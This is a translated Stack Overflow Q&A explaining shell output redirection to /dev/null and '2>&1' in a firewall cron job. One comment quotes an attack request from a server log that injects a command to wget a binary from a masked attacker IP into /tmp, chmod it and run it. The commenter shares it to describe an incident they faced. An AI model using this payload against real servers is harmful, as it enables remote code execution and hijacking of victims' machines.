什么是 /dev/null 2>&1?
Posted
技术标签:
【中文标题】什么是 /dev/null 2>&1?【英文标题】:What is /dev/null 2>&1? 【发布时间】:2012-05-17 12:58:27 【问题描述】:我在 /etc/cron.daily/apf 中找到了这段代码
#!/bin/bash
/etc/apf/apf -f >> /dev/null 2>&1
/etc/apf/apf -s >> /dev/null 2>&1
它正在刷新并重新加载防火墙。
我不明白>> /dev/null 2>&1
部分。
在 cron 中有这个的目的是什么?它覆盖了我的防火墙规则。 我可以安全地删除这个 cron 作业吗?
【问题讨论】:
仅供参考:一种更短的使进程静音的方法是>&- 2>&-
。
@Josh:为什么要让事情变得比现在更神秘?
@Josh 这会关闭相应的 FD,这可能会使程序中止。
2>&1 > /dev/null
是否与> /dev/null 2>&1
相同?这对我来说似乎更自然......
@edelans 否。这样会将 stderr 重定向到 stdout,但之后只会输出到 /dev/null
的原始 stdout-stderr。在gist.github.com/zigg/344361751c0110419b0f 试用该工具
【参考方案1】:
让我们将>> /dev/null 2>&1
语句分成几部分:
第 1 部分: >>
输出重定向
这用于重定向程序输出并将输出附加到文件末尾。 More...
第 2 部分: /dev/null
特殊文件
这是一个Pseudo-devices special file。
命令ls -l /dev/null
将为您提供此文件的详细信息:
crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null
你观察到crw
了吗?这意味着它是一个提供串行访问的character-special-file 类型的伪设备文件。
/dev/null
接受并丢弃所有输入;不产生输出(总是在读取时返回文件结束指示)。参考:Wikipedia
第 3 部分: 2>&1
(将流 2 的输出与流 1 合并)
每当你执行一个程序时,操作系统总是会打开三个文件,标准输入、标准输出和标准错误,正如我们所知,每当打开一个文件时,操作系统(来自kernel)都会返回一个称为文件描述符的非负整数。这些文件的文件描述符分别为 0、1 和 2。
所以2>&1
只是说将标准错误重定向到标准输出。
&
表示后面的内容是文件描述符,而不是文件名。
简而言之,通过使用此命令,您是在告诉您的程序在执行时不要大喊大叫。
使用2>&1
有什么重要性?
如果您不想产生任何输出,即使终端中产生了一些错误。为了更清楚地解释,让我们考虑以下示例:
$ ls -l > /dev/null
对于上面的命令,终端没有打印输出,但是如果这个命令产生错误怎么办:
$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory
尽管我将输出重定向到/dev/null
,但它仍打印在终端中。这是因为我们没有将错误输出重定向到/dev/null
,所以为了也重定向错误输出,需要添加2>&1
:
$ ls -l file_doesnot_exists > /dev/null 2>&1
【讨论】:
好例子!不知道“>”之前不会重定向“STDERR”。 解释得很好!非常翔实。谢谢。这将帮助我理解我最近遇到的网络攻击。攻击者通过包含上述代码的 POST 请求注入一些恶意代码。 @Vishrant 注入代码如下:POST /user/password?name[%23post_render][]=system&name[%23markup]=cd+/tmp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev /null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx 是攻击者的IP,在很多网站也被列为滥用。首先也是最重要的预防措施是阻止防火墙中的 IP 以及此类 IP 的模式。攻击是在主页加载时重定向到第 3 方网站。 Apache 服务器日志显示可疑 IP 和请求。 我只是想知道为什么我们在 2 之前也不使用 '&'。有人可以解决我的疑问吗? @SnehasishKarmakar 一个合理的问题。我相信操作系统足够聪明,可以理解第一个参数将是一个文件描述符,但>
是一个重定向运算符,重定向运算符后面的任何内容都应该是一个文件位置,在 1
之前添加 &
表示它不是应用程序必须重定向输出但文件描述符的文件。如果有人可以添加此评论的更多详细信息,我将不胜感激。【参考方案2】:
让我一点一点解释。
0,1,2
0: standard input
1: standard output
2: standard error
>>
command >> /dev/null 2>&1
中的>>
将命令输出附加到/dev/null
。
命令 >> /dev/null 2>&1
-
命令后:
command
=> 1 output on the terminal screen
=> 2 output on the terminal screen
-
重定向后:
command >> /dev/null
=> 1 output to /dev/null
=> 2 output on the terminal screen
-
在
/dev/null 2>&1
之后
command >> /dev/null 2>&1
=> 1 output to /dev/null
=> 2 output is redirected to 1 which is now to /dev/null
【讨论】:
【参考方案3】:/dev/null
是一个标准文件,它会丢弃您对其写入的所有内容,但会报告写入操作成功。
1
是标准输出,2
是标准错误。
2>&1
将标准错误重定向到标准输出。 &1
表示文件描述符(标准输出),否则(如果您只使用1
)您会将标准错误重定向到名为1
的文件。 [any command] >>/dev/null 2>&1
将所有标准错误重定向到标准输出,并将所有内容写入/dev/null
。
【讨论】:
【参考方案4】:我使用>> /dev/null 2>&1
进行静默cronjob。 cronjob 可以完成这项工作,但不会向我的电子邮件发送报告。
据我所知,不要删除/dev/null
。它很有用,尤其是当您运行 cPanel 时,它可以用于一次性的 cronjob 报告。
【讨论】:
【参考方案5】:这是安静地执行程序并隐藏其所有输出的方式。
/dev/null
是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。将流重定向到其中意味着隐藏程序的输出。
2>&1
部分表示“将错误流重定向到输出流”,因此当您重定向输出流时,错误流也会被重定向。即使您的程序现在写入stderr
,该输出也会被丢弃。
【讨论】:
其实2>&1
实际上是把stderr
重定向到stdout
。通过交换重定向的顺序可以最好地说明这与您声称的区别,例如2>&1 >/dev/null
.【参考方案6】:
编辑/etc/conf.apf
。设置DEVEL_MODE="0"
。 DEVEL_MODE
设置为 1
将添加一个 cron 作业以在 5 分钟后停止 apf。
【讨论】:
【参考方案7】:>> /dev/null
将标准输出 (stdout
) 重定向到 /dev/null
,后者将其丢弃。
(>>
似乎有点多余,因为>>
表示追加,而>
表示截断和写入,并且追加或写入/dev/null
具有相同的净效果。我通常只使用@987654329 @为此。)
2>&1
将标准错误 (2
) 重定向到标准输出 (1
),然后将其丢弃,因为标准输出已被重定向。
【讨论】:
&
符号在 2>&1
中表示什么。
& 表示文件描述符。通常有 3 个文件描述符 - 标准输入、输出和错误。
@Nobody 为您的问题在下面查看我的答案***.com/questions/10508843/what-is-dev-null-21/…
如果&表示文件描述符,那么为什么2之前没有&?
以防其他人没有阅读以下解释文件描述符的答案:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
【参考方案8】:
正如其他人所描述的,写入 /dev/null 会消除程序的输出。通常,cron 会为以 cronjob 启动的进程的每个输出发送一封电子邮件。因此,如果您在 cron 中指定了地址,则通过将输出写入 /dev/null 可以防止垃圾邮件。
【讨论】:
以上是关于什么是 /dev/null 2>&1?的主要内容,如果未能解决你的问题,请参考以下文章
>&/dev/null和>/dev/null 2>&1区别(>/dev/null 2>&1> /dev/null 2>&1)
>&/dev/null和>/dev/null 2>&1区别(>/dev/null 2>&1> /dev/null 2>&1)
;/dev/null 2;&1 和 2;&1 ;/dev/null 的区别